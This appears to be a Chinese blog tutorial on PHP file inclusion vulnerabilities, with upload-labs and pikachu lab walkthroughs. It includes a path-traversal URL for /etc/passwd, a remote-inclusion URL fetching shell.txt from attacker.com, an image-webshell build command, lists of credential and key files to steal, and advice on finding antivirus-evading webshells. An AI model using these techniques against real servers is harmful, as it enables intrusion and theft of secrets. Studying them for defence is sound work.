文件包含(详解)
文件包含漏洞是一种常见的Web安全漏洞,其核心在于应用程序未对用户控制的文件路径或文件名进行严格过滤,导致攻击者能够包含并执行任意文件(包括本地或远程恶意文件)。
1. 文件包含原理
- 动态文件包含机制
开发者使用动态包含函数(如PHP的include
、require
)加载代码文件,但未对用户输入的路径参数进行校验,例如:
$page = $_GET['page'];
include($page . '.php'); // 用户可控的$page参数
- 关键问题
-
- 用户输入直接拼接至文件路径。
- 未限制可包含的文件范围(如允许包含非预期目录或远程文件)。
- 服务器配置不当(如PHP的
allow_url_include=On
允许包含远程文件)。 - 对$GET['cmd']参数没有经过严格的过滤,直接带入了 include() 函数,攻击者可以修改$ GET[‘cmd’]的值,加载其他文件,执行非预期的操作,由此 造成了文件包含漏洞:
在PHP的动态包含文件中,像include文件,在网页打开该文件并进行get传参即可访问服务器中其他的文件,这是一个操作流程
就是利用一个文件,调用另外一个文件。当这个文件中是代码时,就是直接调用代码。
并且还有一个好处,当知道文件位置时,就是不管文件后缀类型名,使用文件包含它都可以正常解析该文件
2. 文件包含有关的函数
include():当使用该函数包含文件时,只有代码执行到 include()函数是才将文件包含进 来,发生错误时只给出一个警告,继续向下执行
include_once():功能和 include()相同,区别在于当重复调用同一文件时,程序只调用 一次
requier():使用 require 函数包含文件时,只要程序一执行,立即调用脚本;如果前者 执行发生错误,函数或输出错误信息,并终止脚本运行 require_once():功能与 require()相同,区别在于当重复调用同一文件时,程序只调用 一
3. 漏洞类型
3.1. 本地文件包含(Local File Inclusion, LFI)
本地主机上的文件,文件名称是相对路径或者绝对路径
- 定义:攻击者通过构造路径包含服务器本地的敏感文件或恶意文件。
- 利用场景:
-
- 读取敏感文件:
/etc/passwd
、配置文件、日志文件等。 - 配合文件上传漏洞:包含已上传的Webshell。
- 利用PHP伪协议:
php://filter
读取文件源码,或php://input
执行代码。
- 读取敏感文件:
示例:
http://example.com/index.php?data=../../../../etc/passwd
-
3.2. 本地包含读文件
常用文件路径 apache+Linux 日志默认路径 /etc/httpd/logs/access.log、/var/log/httpd/access.log
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Lognames
IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\Lognames
nginx 日志文件
/usr/local/nginx/logs
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf /etc/init.d/httpd IIS6.0+win2003
配置文件 C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config
./:当前路径
../:上级目录
/:根目录
~/:linux 用户主目录
3.2.1.1. 文件地址,只要是windows系统就存在该文件
C:\Windows\win.ini
3.3. 2. 远程文件包含(Remote File Inclusion, RFI)
远程文件包含:包含互联网上的文件,文件名称为 URL 格式
- 定义:攻击者通过URL包含远程服务器上的恶意脚本(需服务器配置允许包含远程文件)。
- 利用条件:
-
- PHP配置中
allow_url_fopen=On
:允许打开url文件 - 且
allow_url_include=On
:允许引用url文件 。两个默认是开的 - 包含路径未限制协议(如允许
http://
、ftp://
)。
- PHP配置中
示例:
http://example.com/index.php?get中指令=http://attacker.com/shell.txt
与文件包含相关配置文件:php.ini
3.4. 图片马+文件包含绕过
属于白名单
pass-13
3.4.1. 制作图片马
在服务端的 PHP 代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。
可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
针对这种情况可以直接新建要给 1.jpg, 其中代码内容如下
GIF98A <?php phpinfo();?>
copy 1.jpg/b+2.php/a 3.jpg
准备好图片和 php 文件,桌面下打开命令行,输入命令制作图片马
3.jpg就是图片马
成果:图片能正常打开,并且含有php恶意代码
步骤:
- 在图片位置打开cmd
- 使用上面代码内容
- 成功
11.jpg与3.jpg看起来一样,实际不一样,比如:大小
上传,把文件位置复制到文件包含漏洞网页进行检验
文件包含访问。
访问成功
主要关键点:制作图片马,访问路径
3.5. 二次渲染
经过:
- 文件上传后会被二次渲染(调整大小,压缩),导致图片中的恶意码被清除
绕过方法:
- 上传正常图片并下载渲染后的文件。
- 对比原始文件与渲染后文件,找到未被修改的位置插入 PHP 代码。
- 重新上传并触发文件包含。
一般情况文件会缩小
pass-16
很明显图片是被渲染过的
使用16进制工具对比两张图片找出图片没有被渲染过的地方
将一句话木马再插入被渲染过的图片,再保存
再上传图片,再文件包含即可(使用gif的动图)
3.6. Pass-18:条件竞争漏洞
- 问题分析:文件先上传后校验,存在短暂的时间窗口。
- 绕过方法:
-
- 快速上传 PHP 文件并利用 Burp 的 Intruder 模块持续发送请求。
- 在文件被删除前访问上传路径执行代码
4. 任意文件读取/下载
任意文件读取/下载漏洞 是指攻击者通过Web应用程序的缺陷,
绕过权限限制,直接访问或下载服务器上的任意文件(包括敏感配置文件、源代码、用户数据等)。
是指攻击者可以 通过某些漏洞,绕过应用程序的限制,直接读取或下载应用程序之外的文件。
5. pikachu
使用pikachu靶场实验文件读取与下载实操
5.1. 文件下载
点击kb图片下载
然后访问下载连接,根据url得fliname蕴含什么含义,可能文件是直接再服务器中访问下载的
在之前本地文件包含中含有一个windows配置文件
C:\Windows\win.ini
我们可以使用../../../ 查询到上级目录(方法:可以使用bp在get请求添加,也可以在url网址添加)
那么利用这一个漏洞,我们可以下载服务器中重要的文件或者说到该目录的任何文件。
如果有这个文件则将访问并下载,为什么多个../../
因为我们也不知道它上级目录有多少个,所以使用多个
注:
像以下可能存在文件下载漏洞
path
flie 等含各种参数的
5.2. 常见的敏感信息路径
5.2.1. Windows 系统
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件 C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\my.ini //Mysql 配置信息
5.2.2. Linux/Unix 系统
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh 目录下,新建 authorized_keys 文件,并将 id_rsa.pub 内容复制进去
/root/.ssh/id_rsa //ssh 私钥,ssh 公钥是 id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥 /root/.ssh/known_hosts
//ssh 会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访 问相同计算机时,OpenSSH 会核对公钥。如果公钥不同,OpenSSH 会发出警告, 避 免你受到 DNS Hijack 之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache 配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql 历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的 cmdline 参数
6. (文件相关漏洞)注意事项(重点)
- 我们上传一个后缀为php或者asp,文件,能上传成功表示该文件后缀可以进行下一步操作(不直接使用一句话,因为有非常大的几率被杀)
- 我们需要知道路径,能够访问到asp即刚刚上传的文件
- 在文件有一行代码,需要会解析,而不是输出文件所有内容
- 上传一句话木马,被杀了,那就想到免杀手段:一般去找别人上传的免杀码,或者工具,然后使用webshell连接
相关文章:
文件包含(详解)
文件包含漏洞是一种常见的Web安全漏洞,其核心在于应用程序未对用户控制的文件路径或文件名进行严格过滤,导致攻击者能够包含并执行任意文件(包括本地或远程恶意文件)。 1. 文件包含原理 动态文件包含机制 开发者使用动态包含函数…...
智慧养老照护实训室:推动养老服务数字化转型实践
在人口老龄化加速与数字化浪潮席卷的当下,传统养老服务模式在效率、精准度及个性化服务上的局限日益明显。智慧养老成为行业转型的必然方向,但专业人才短缺与技术应用落地困难制约着发展。智慧养老照护实训室通过整合虚拟仿真等前沿技术,构建…...
NOIP2015提高组.信息传递
目录 题目算法标签: 并查集, T a r j a n Tarjan Tarjan算法, s c c scc scc强连通分量思路 T a r j a n Tarjan Tarjan算法求解代码 题目 517. 信息传递 算法标签: 并查集, T a r j a n Tarjan Tarjan算法, s c c scc scc强连通分量 思路 使用强连通分量算法求环上点…...
Wireshark 搜索组合速查表
文章目录 Wirshark使用记录基本语法规则搜索条件符号速查表捕获过滤器组合指令速查表筛选过滤器组合命令速查表Wireshark Frame 协议字段解析 Wirshark使用记录 官网地址:https://www.wireshark.org/ 基本语法规则 字段描述示例说明type用于指定数据包的类型&…...
AI当前状态:有哪些新技术
一、到目前为址AI领域出现的新技术 到目前为止,AI领域涌现了许多令人兴奋的新技术。以下是一些关键的进展,涵盖了从基础模型到实际应用的多个方面: 1. 更强大的大型语言模型 (LLMs): 性能提升: 新一代LLM,例如OpenAI的GPT-4o和…...
我的gittee仓库
日常代码: 日常代码提交https://gitee.com/xinxin-pingping/daily-code 有需要的宝子们可自行读取。...
RT-Thread开发文档合集
瑞萨VisionBoard开发实践指南 RT-Thread 文档中心 RT-Thread-【RA8D1-Vision Board】 RA8D1 Vision Board上的USB实践RT-Thread问答社区 - RT-Thread 【开发板】环境篇:05烧录工具介绍_哔哩哔哩_bilibili 【RA8D1-Vision Board】基于OpenMV 实现图像分类_哔哩哔哩_…...
SPWM-H桥逆变器工作原理
SPWM-H桥逆变器(Sinusoidal Pulse Width Modulation H-Bridge Inverter)是一种基于正弦脉宽调制(SPWM)技术的电力电子装置,用于将直流(DC)转换为交流(AC)。它广泛应用于光…...
【数据结构_10】二叉树(2)
一、根据树的遍历结果还原树 紧接着(1),我们继续来讨论:如果给了树的遍历结果,我们能否把这个树给还原出来呢? 如果只给一种遍历结果,那么我们无法对树进行还原。 只有给了我们先序中序&…...
day1-小白学习JAVA(mac版)---(jdk安装和环境变量配置)
JDK安装和环境变量配置 我的电脑系统一、下载JDK1、oracle官网下载适合的JDK安装包,选择Mac OS对应的版本。 二、安装三、配置环境变量1、终端输入/usr/libexec/java_home -V查询所在的路径,复制备用2、输入ls -a3、检查文件目录中是否有.bash_profile文…...
Muduo网络库实现 [十六] - HttpServer模块
设计思路 本模块就是设计一个HttpServer模块,提供便携的搭建http协议的服务器的方法。那么这个模块需要如何设计呢? 这还需要从Http请求说起。 首先从http请求的请求行开始分析,请求行里面有个方法。分为静态资源请求和功能性请求的。 静态…...
工业触摸显示器助力智慧工业实验室发展
工业触摸显示器作为智慧工业实验室的核心人机交互设备,凭借其卓越的性能和灵活性,为实验室的智能化、自动化发展提供了强有力的支持。以下从多个方面阐述工业触摸显示器如何助力智慧工业实验室的发展: 一、提升操作便捷性与效率 直观操作&a…...
k8s介绍与实践
第一节 理论 基础介绍,部署实践,操作实践,点击这里学习 第二节 dashboard操作 查看安装的dashboard服务信息 kubectl get pod,svc -n kubernetes-dashboard 网页登录地址:https://server_ip:30976/#/login 创建token kube…...
ATEngin开发记录_5_C++日志打印引发的崩溃?一次虚函数调用引发的内存错误排查记录
该系列只做记录 不做教程 所以文章简洁直接 会列出碰到的问题和解决方案 只适合C萌新 在使用 C 进行事件系统开发时,我遇到了一次由于调用虚函数 GetName() 输出日志而引发的崩溃问题。通过逐步排查、使用防御性编程和类型检查,最终定位到了隐藏的生命…...
Yocto项目实战教程 · 第4章:4.2小节-菜谱
🔍 B站相应的视频教程: 📌 Yocto项目实战教程-第4章-4.2小节-菜谱 记得三连,标为原始粉丝。 在 Yocto 项目中,**菜谱(Recipe)**承载了包的配置信息、源码获取方式、编译与安装步骤,是…...
7.Rust+Axum:打造高效 RESTful API 的最佳实践
摘要 深入探讨 RustAxum 开发 RESTful API 的关键要点,涵盖资源路由设计、HATEOAS 实现、参数处理及 DTO 序列化与 JSON 处理案例。 一、引言 在现代 Web 开发中,RESTful API 是构建分布式系统的重要组成部分。Rust 作为一种高性能、安全的系统编程语…...
CAN总线嵌入式开发实战:从入门到精通
CAN总线嵌入式开发实战:从入门到精通 一、CAN总线基础概念 CAN(Controller Area Network)是一种广泛应用于汽车电子和工业控制领域的串行通信协议,由Bosch公司于1986年开发。它具有以下核心特点: 多主架构:所有节点地位平等&am…...
从头学 | 目标函数、梯度下降相关知识笔记(一)
很多基本的概念最近忘的有点多,简单回顾一些 文章目录 1 目标函数、梯度下降1.1 回归模型中的目标函数1.1.1 回归任务目标函数(1) 均方误差(MSE)(2) Huber损失 1.1.2 分类任务目标函数(1) 交叉熵损失(Cross-Entropy)(2…...
欣佰特携数十款机器人相关前沿产品,亮相第二届人形机器人和具身智能行业盛会
2025年4月15日至16日,备受关注的第二届中国人形机器人与具身智能产业大会已在北京成功举行。作为国内前沿科技及产品服务领域的重要参与者,欣佰特科技携众多前沿产品精彩亮相,全方位展示了其在人形机器人与具身智能领域的创新产品。 在本次大…...
QT常见显示类控件及其属性
Label QLabel可用用来显示文本和图片 核心属性如下 文本格式---textFormat 例: 在ui界面创建3个label,分别用不同的显示格式 在构造函数进行文本格式和文内容设置 此时运行后三种显示格式无区别 可以给富文本加标签 如<B>表示加粗 如果将<…...
基于领域知识的A型主动脉夹层综合分割及面向临床的评估|文献速递-深度学习医疗AI最新文献
Title 题目 Domain knowledge based comprehensive segmentation of Type-A aortic dissection with clinically-oriented evaluation 基于领域知识的A型主动脉夹层综合分割及面向临床的评估 01 文献速递介绍 A型主动脉夹层(TAAD)是一种医疗急症&a…...
守护进程编程、GDB调试以及外网连接树莓派
目录 一、什么是守护进程以及如何创建守护进程1. 什么是守护进程?2. 如何创建守护进程? 二、什么是GDB调试以及如何用GDB命令调试C程序1. 什么是GDB?2. 如何用GDB命令调试C程序? 三、外网访问树莓派 一、什么是守护进程以及如何创…...
HTML理论题
1.什么是HTML? 超文本标记语言(英语:HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。 2.DOCTYPE 的作用是什么?标准与兼容模式(混杂模式)各有什么区别? DOCTYPE 的作用是告知浏览器的解析器用什么文档标准解析这个文档。 标准模式:用于…...
Cables为链上社区树立标杆:专注于实用性、用户主权与全球流动性
在 Web3 世界,“社区”这个词已逐渐沦为炒作、虚高数据与短暂参与的代名词。Cables 正在颠覆这一现状,以真实贡献与长期可持续发展为核心,走出了一条独特的路径。 最近,Cables 推出了其核心长期战略之一——积分计划(…...
Clickhouse 配置参考
Clickhouse 配置参考 适用版本 21.3.9.84 config.xml 配置 <?xml version"1.0"?> <!--NOTE: User and query level settings are set up in "users.xml" file. --> <yandex><access_control_path>/data/clickhouse/clickhous…...
thinkphp实现图像验证码
示例 服务类 app\common\lib\captcha <?php namespace app\common\lib\captcha;use think\facade\Cache; use think\facade\Config; use Exception;class Captcha {private $im null; // 验证码图片实例private $color null; // 验证码字体颜色// 默认配置protected $co…...
【Pandas】pandas DataFrame where
Pandas2.2 DataFrame Indexing, iteration 方法描述DataFrame.head([n])用于返回 DataFrame 的前几行DataFrame.at快速访问和修改 DataFrame 中单个值的方法DataFrame.iat快速访问和修改 DataFrame 中单个值的方法DataFrame.loc用于基于标签(行标签和列标签&#…...
redis利用备忘录
fofa: icon_hash"864611937" 防护: redis的安全设置:设置完毕,需要重加载配置文件启动redis 1.绑定内网ip地址进行访问 2. requirepass设置redis密码 3.保护模式开启protected-mode开启(默认开启) 4.最好把…...
【dify实战】chatflow结合deepseek实现基于自然语言的数据库问答、Echarts可视化展示、Excel报表下载
dify结合deepseek实现基于自然语言的数据库问答、Echarts可视化展示、Excel报表下载 观看视频,您将学会 在dify下如何快速的构建一个chatflow,来完成数据分析工作;如何在AI的回复中展示可视化的图表;如何在AI 的回复中加入Excel报…...
医疗行业如何构建合成数据平台?——技术、合规与实践全景
目录 医疗行业如何构建合成数据平台?——技术、合规与实践全景 一、为什么医疗领域尤需合成数据? 二、平台功能全景图 ✅ 模块划分: 三、典型合成数据生成方式 1. 结构化病例合成 2. 医学图像生成 3. 多轮医生-患者问答合成 四、数据…...
6.8.最小生成树
一.复习: 1.生成树: 对于一个连通的无向图,假设图中有n个顶点,如果能找到一个符合以下要求的子图: 子图中包含图中所有的顶点,同时各个顶点保持连通, 而且子图的边的数量只有n-1条࿰…...
MATLAB 控制系统设计与仿真 - 37
范数鲁棒控制器的设计 鲁棒控制器的设计 根据双端子状态方程对象模型结构,控制器设计的目标是找到一个控制器K(s),它能保证闭环系统的范数限制在一个给定的小整数下,即 这时控制器的状态方程为: 其中X与Y分别为下面两个代数Riccati方程的解…...
社交媒体时代的隐私忧虑:聚焦Facebook
在数字化时代,社交媒体平台已成为人们日常生活的重要组成部分。Facebook作为全球最大的社交媒体之一,拥有数十亿用户,其对个人隐私的影响和忧虑也日益凸显。本文将探讨社交媒体时代下,尤其是Facebook平台上的隐私问题。 数据收集…...
9.Rust+Axum 测试驱动开发与性能优化全攻略
摘要 本文深入讲解 RustAxum 测试驱动开发及性能优化,涵盖多种测试工具与优化技术。 一、引言 在当今的软件开发领域,测试驱动开发(TDD)和性能优化是保障软件质量和性能的关键环节。Rust 作为一种安全、高效的系统编程语言&…...
中国首个全国34省3,667个城市多属性建筑数据集(屋顶、高度、结构、功能、风格、年龄、质量等属性)
中国首个全国34省3,667个城市多属性建筑数据集(屋顶、高度、结构、功能、风格、年龄、质量等属性) 数据介绍 快速获取三维(3D)建筑数据,包括屋顶、高度和方向等几何属性,以及功能、质量和年龄等指示性属性…...
探索Spring Boot Web模块:设计思想与技术实现
探索Spring Boot Web模块:设计思想与技术实现 在现代Web开发中,Spring Boot作为一个强大的框架,提供了丰富的功能来简化Web应用的开发。本文将深入探讨Spring Boot框架中Web模块的核心类,揭示其设计思想、技术实现以及扩展知识。…...
GitHub创建远程仓库
使用GitHub创建远程仓库:从零开始实现代码托管与协作 前言 在当今软件开发领域,版本控制系统已成为开发者必备的核心工具。作为分布式版本控制系统的代表,Git凭借其强大的分支管理和高效的协作能力,已成为行业标准。而GitHub作为…...
PLM系统如何支持利益相关者分析?沟通矩阵设计
PLM(产品生命周期管理)系统在现代企业的产品研发与管理过程中扮演着至关重要的角色。它不仅仅是一个管理产品数据的工具,更能在利益相关者分析以及沟通矩阵设计方面提供强大的支持。通过合理运用PLM系统,企业能够更好地识别、理解…...
每日一题(8) 求解矩阵最小路径和问题
给定一个m行n列的矩阵,从左上角开始每次只能向右或者向下移动,最后到达右下角的位置,路径上的所有数字累加起来作为这条路径的路径和。求所有路径和中最小路径和。 输入格式: 首先输入行数m及列数n,接下来输入m行,每…...
JAVA设计模式:注解+模板+接口
1.基础组件 1.1注解类控制代码执行启动、停止、顺序 /*** author : test* description : 数据同步注解* date : 2025/4/18*/ Target({ElementType.TYPE}) Retention(RetentionPolicy.RUNTIME) Documented public interface SyncMeta {/*** 执行服务名称* return*/String name…...
如何在Linux系统中部署C++ Web应用
在 Linux 上部署 C Web 应用,和部署传统的 PHP 或 Node.js 应用相比更“原生”一些,通常涉及到自己编译、配置 Web 服务、处理依赖等。本文将详细讲解部署一个基于 C 编写的 Web 应用的完整流程,涵盖从构建、部署、到上线的每一步,…...
实用工具-screenrec介绍(截图工具)
官方地址:Communicate Faster with Instant Video Messages & Screenshots 官方下载安装包,安装完成后,默认快捷键 alt s 开启截图,录屏 介绍 ScreenRec 是一款免费无广告的屏幕录制与截图工具,支持多平台&…...
使用veaury,在vue项目中运行react组件
网上的信息太少了,记录一下 我的项目是vue3webpack 使用:veaury Veaury 是基于React和Vue3的工具库,主要用于React和Vue在一个项目中公共使用的场景,主要运用在项目迁移、技术栈融合的开发模式、跨技术栈使用第三方组件的场景。 参…...
开源 vs. 闭源:大模型的未来竞争格局
开源 vs. 闭源:大模型的未来竞争格局 引言 在人工智能领域,尤其是大型语言模型(LLM)的发展中,开源与闭源之争已成为决定行业未来走向的关键议题。随着ChatGPT的横空出世和开源模型的蓬勃发展,技术社区正经历着一场深刻的范式转变…...
pcl代码解析
一、库基础代码解析: PCL库基础:点云类型与算法详解-CSDN博客 主要介绍PCL库的一些基本的点云类型、相关数据类型以及ROS接口消息,和一些常用的算法。 用到的一些PCL点云类型 pcl::PointXYZ: 这是最简单也可能是最常用到的点类型;它只储存…...
中华传承-医山命相卜-梅花易数
梅花易数 灵活起卦(如数字、声音、外应等)和象数结合,准确率可达96.8%。其起卦方式摆脱传统龟壳、蓍草的繁琐,强调直觉与灵活性。 个人决策、事件预测等 尤其在短期、具体问题上表现突出。...
HOOPS Exchange 与HOOPS Communicator集成:打造工业3D可视化新标杆!
一、概述 在工业3D开发、BIM建筑、数字孪生和仿真分析等高端应用场景中,数据格式复杂、模型体量庞大、实时交互体验要求高,一直是困扰开发者的难题。Tech Soft 3D旗下的HOOPS Exchange和HOOPS Communicator,正是解决这类问题的黄金搭档。二者…...
SQL预编译——预编译真的能完美防御SQL注入吗
SQL注入原理 sql注入是指攻击者拼接恶意SQL语句到接受外部参数的动态SQL查询中,程序本身 未对插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。 拼接的SQL查询例如,通过在id变量后插入or 11这样的条件,来绕过身份验证&#…...
通过 Zotero 的样式编辑器(Style Editor)自定义文献引用和参考文献列表的格式
好的!以下是一个更为详细的教程,帮助你通过 Zotero 的样式编辑器(Style Editor)自定义文献引用和参考文献列表的格式。 详细教程:使用 Zotero 样式编辑器自定义文献格式 1. 准备工作 在开始之前,请确保&a…...
PostgreSQL 通过 copy 命令导入几何数据 及 通过 CopyManager.copyIn() 导入几何数据
COPY命令介绍 copy是postgresql提供的一个专门用于快速导入导出数据的命令,通常用于从文件(TXT、CSV等)或标准输入输出中读取或写入数据。适合批量导入导出数据,速度快。 默认情况下,如果在处理过程中遇到错误,COPY将失败。 COPY只能用于表,不能用于视图!!! COPY…...